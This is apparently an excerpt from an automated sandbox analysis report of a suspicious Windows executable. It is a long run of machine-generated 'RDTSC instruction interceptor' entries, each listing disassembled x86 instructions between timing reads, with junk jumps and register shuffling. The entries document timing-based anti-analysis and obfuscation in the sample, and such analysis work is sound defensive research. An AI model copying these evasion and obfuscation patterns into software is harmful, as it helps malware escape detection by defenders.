Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55906B2 second address: 55906B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 559039F second address: 55903DD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA458BC473Fh 0x00000008 or si, 503Eh 0x0000000d jmp 00007FA458BC4749h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edi 0x0000001b pop ecx 0x0000001c movsx edi, ax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55903DD second address: 5590419 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 3CFB3949h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA458503E01h 0x00000016 sbb ax, DBD6h 0x0000001b jmp 00007FA458503E01h 0x00000020 popfd 0x00000021 push ecx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D0560 second address: 55D0570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC473Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D0570 second address: 55D058E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA458503E03h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D058E second address: 55D05E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA458BC473Fh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FA458BC4749h 0x0000000f jmp 00007FA458BC473Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA458BC4745h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D05E4 second address: 55D0602 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, ax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D0602 second address: 55D0623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FA458BC473Bh 0x00000012 mov ch, 13h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D0623 second address: 55D0629 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D0629 second address: 55D062D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B0126 second address: 55B012A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B012A second address: 55B012E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B012E second address: 55B0134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B0134 second address: 55B0172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4744h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA458BC473Ch 0x00000013 sbb cx, C3B8h 0x00000018 jmp 00007FA458BC473Bh 0x0000001d popfd 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B0172 second address: 55B017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, BDE7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B017B second address: 55B0189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b mov di, si 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B0189 second address: 55B018D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B018D second address: 55B0217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FA458BC473Eh 0x0000000b movzx eax, bx 0x0000000e pop ebx 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 call 00007FA458BC4748h 0x00000018 pop ebx 0x00000019 pushfd 0x0000001a jmp 00007FA458BC473Eh 0x0000001f sbb cx, 02D8h 0x00000024 jmp 00007FA458BC473Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov eax, dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FA458BC473Bh 0x00000037 adc eax, 3254CD9Eh 0x0000003d jmp 00007FA458BC4749h 0x00000042 popfd 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B0217 second address: 55B021C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B021C second address: 55B022A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC473Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55B022A second address: 55B02D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b pushad 0x0000000c push edi 0x0000000d push ecx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 pushfd 0x00000011 jmp 00007FA458503E05h 0x00000016 and ecx, 0B370536h 0x0000001c jmp 00007FA458503E01h 0x00000021 popfd 0x00000022 popad 0x00000023 and dword ptr [eax+04h], 00000000h 0x00000027 pushad 0x00000028 push ecx 0x00000029 pushad 0x0000002a popad 0x0000002b pop ebx 0x0000002c call 00007FA458503E06h 0x00000031 pushad 0x00000032 popad 0x00000033 pop esi 0x00000034 popad 0x00000035 pop ebp 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FA458503DFDh 0x0000003d add ah, FFFFFFF6h 0x00000040 jmp 00007FA458503E01h 0x00000045 popfd 0x00000046 push eax 0x00000047 push edx 0x00000048 pushfd 0x00000049 jmp 00007FA458503DFEh 0x0000004e jmp 00007FA458503E05h 0x00000053 popfd 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5590588 second address: 559058E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 559058E second address: 559059F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458503DFDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 559059F second address: 55905BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55905BC second address: 55905C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55905C4 second address: 55905CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55905CA second address: 55905CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0D13 second address: 55A0D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55A0D17 second address: 55A0D1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0DB7 second address: 55C0DE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4B2677AAh 0x00000008 mov esi, ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e jmp 00007FA458BC473Ah 0x00000013 mov dword ptr [esp], ebp 0x00000016 pushad 0x00000017 mov di, cx 0x0000001a mov cx, E8B9h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 mov di, ax 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0DE3 second address: 55C0E0F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA458503DFCh 0x00000008 sbb si, E8C8h 0x0000000d jmp 00007FA458503DFBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov bl, cl 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov ecx, edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0E0F second address: 55C0E44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4745h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007FA458BC473Eh 0x00000011 mov eax, dword ptr [774365FCh] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 movzx eax, di 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0E44 second address: 55C0E7F instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 movzx eax, dx 0x0000000a popad 0x0000000b test eax, eax 0x0000000d jmp 00007FA458503DFDh 0x00000012 je 00007FA4CA2F68FEh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edx, cx 0x0000001e jmp 00007FA458503E04h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0E7F second address: 55C0E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0E85 second address: 55C0E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0E89 second address: 55C0EAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA458BC473Dh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0EAD second address: 55C0EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA458503DFAh 0x00000009 or eax, 697E37D8h 0x0000000f jmp 00007FA458503DFBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xor eax, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov di, cx 0x00000021 jmp 00007FA458503DFCh 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0EE6 second address: 55C0EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC473Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0EF8 second address: 55C0EFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0EFC second address: 55C0F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b jmp 00007FA458BC4747h 0x00000010 ror eax, cl 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007FA458BC4744h 0x00000019 add ecx, 1A9126F8h 0x0000001f jmp 00007FA458BC473Bh 0x00000024 popfd 0x00000025 mov cx, 342Fh 0x00000029 popad 0x0000002a leave 0x0000002b pushad 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FA458BC473Eh 0x00000033 or cl, 00000058h 0x00000036 jmp 00007FA458BC473Bh 0x0000003b popfd 0x0000003c popad 0x0000003d call 00007FA458BC473Fh 0x00000042 pushad 0x00000043 popad 0x00000044 pop esi 0x00000045 popad 0x00000046 retn 0004h 0x00000049 nop 0x0000004a mov esi, eax 0x0000004c lea eax, dword ptr [ebp-08h] 0x0000004f xor esi, dword ptr [00C32014h] 0x00000055 push eax 0x00000056 push eax 0x00000057 push eax 0x00000058 lea eax, dword ptr [ebp-10h] 0x0000005b push eax 0x0000005c call 00007FA45D5955FBh 0x00000061 push FFFFFFFEh 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007FA458BC4740h 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55C0F99 second address: 55D0072 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503DFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b mov bl, ch 0x0000000d movsx edi, si 0x00000010 popad 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007FA45CEE3D2Fh 0x00000019 mov edi, edi 0x0000001b pushad 0x0000001c pushad 0x0000001d movzx esi, di 0x00000020 mov esi, edx 0x00000022 popad 0x00000023 push edi 0x00000024 jmp 00007FA458503E08h 0x00000029 pop eax 0x0000002a popad 0x0000002b push edx 0x0000002c jmp 00007FA458503DFEh 0x00000031 mov dword ptr [esp], ebp 0x00000034 pushad 0x00000035 mov di, cx 0x00000038 pushfd 0x00000039 jmp 00007FA458503DFAh 0x0000003e or eax, 590B9A08h 0x00000044 jmp 00007FA458503DFBh 0x00000049 popfd 0x0000004a popad 0x0000004b mov ebp, esp 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FA458503E05h 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D0072 second address: 55D0078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55D0078 second address: 55D007C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 558001B second address: 558006F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 4FCAh 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f mov ch, bh 0x00000011 pop ecx 0x00000012 jmp 00007FA458BC473Bh 0x00000017 popad 0x00000018 mov dword ptr [esp], ebp 0x0000001b jmp 00007FA458BC4746h 0x00000020 mov ebp, esp 0x00000022 jmp 00007FA458BC4740h 0x00000027 and esp, FFFFFFF8h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push edi 0x0000002e pop esi 0x0000002f mov dh, 12h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 558006F second address: 5580089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503DFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop esi 0x0000000f mov bx, 4442h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580089 second address: 558008F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 558008F second address: 5580093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580093 second address: 55800D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA458BC4741h 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA458BC473Ch 0x00000016 sbb eax, 33532D08h 0x0000001c jmp 00007FA458BC473Bh 0x00000021 popfd 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55800D2 second address: 55800FB instructions: 0x00000000 rdtsc 0x00000002 mov cx, AC9Bh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FA458503DFEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA458503DFEh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55800FB second address: 558010D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA458BC473Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 558010D second address: 5580111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580111 second address: 558016B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a mov di, 61E0h 0x0000000e pushfd 0x0000000f jmp 00007FA458BC4749h 0x00000014 or si, FAE6h 0x00000019 jmp 00007FA458BC4741h 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebx, dword ptr [ebp+10h] 0x00000023 jmp 00007FA458BC473Eh 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c movsx edi, ax 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 558016B second address: 5580170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580170 second address: 5580176 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580176 second address: 55801BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FA458503E02h 0x00000015 add ecx, 74454B48h 0x0000001b jmp 00007FA458503DFBh 0x00000020 popfd 0x00000021 push ecx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55801BF second address: 558024C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4745h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FA458BC473Eh 0x0000000f mov esi, dword ptr [ebp+08h] 0x00000012 jmp 00007FA458BC4740h 0x00000017 xchg eax, edi 0x00000018 pushad 0x00000019 jmp 00007FA458BC473Eh 0x0000001e jmp 00007FA458BC4742h 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007FA458BC473Bh 0x0000002a xchg eax, edi 0x0000002b jmp 00007FA458BC4746h 0x00000030 test esi, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 mov di, 665Eh 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 558024C second address: 5580252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580252 second address: 5580256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 5580256 second address: 55802B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FA4CA3321ADh 0x0000000e jmp 00007FA458503DFAh 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a pushad 0x0000001b jmp 00007FA458503DFEh 0x00000020 pushad 0x00000021 push esi 0x00000022 pop edi 0x00000023 pushfd 0x00000024 jmp 00007FA458503DFCh 0x00000029 xor ecx, 27302988h 0x0000002f jmp 00007FA458503DFBh 0x00000034 popfd 0x00000035 popad 0x00000036 popad 0x00000037 je 00007FA4CA332179h 0x0000003d pushad 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55802B2 second address: 55802BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, ch 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 mov dh, 8Dh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: 55802BD second address: 55802C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
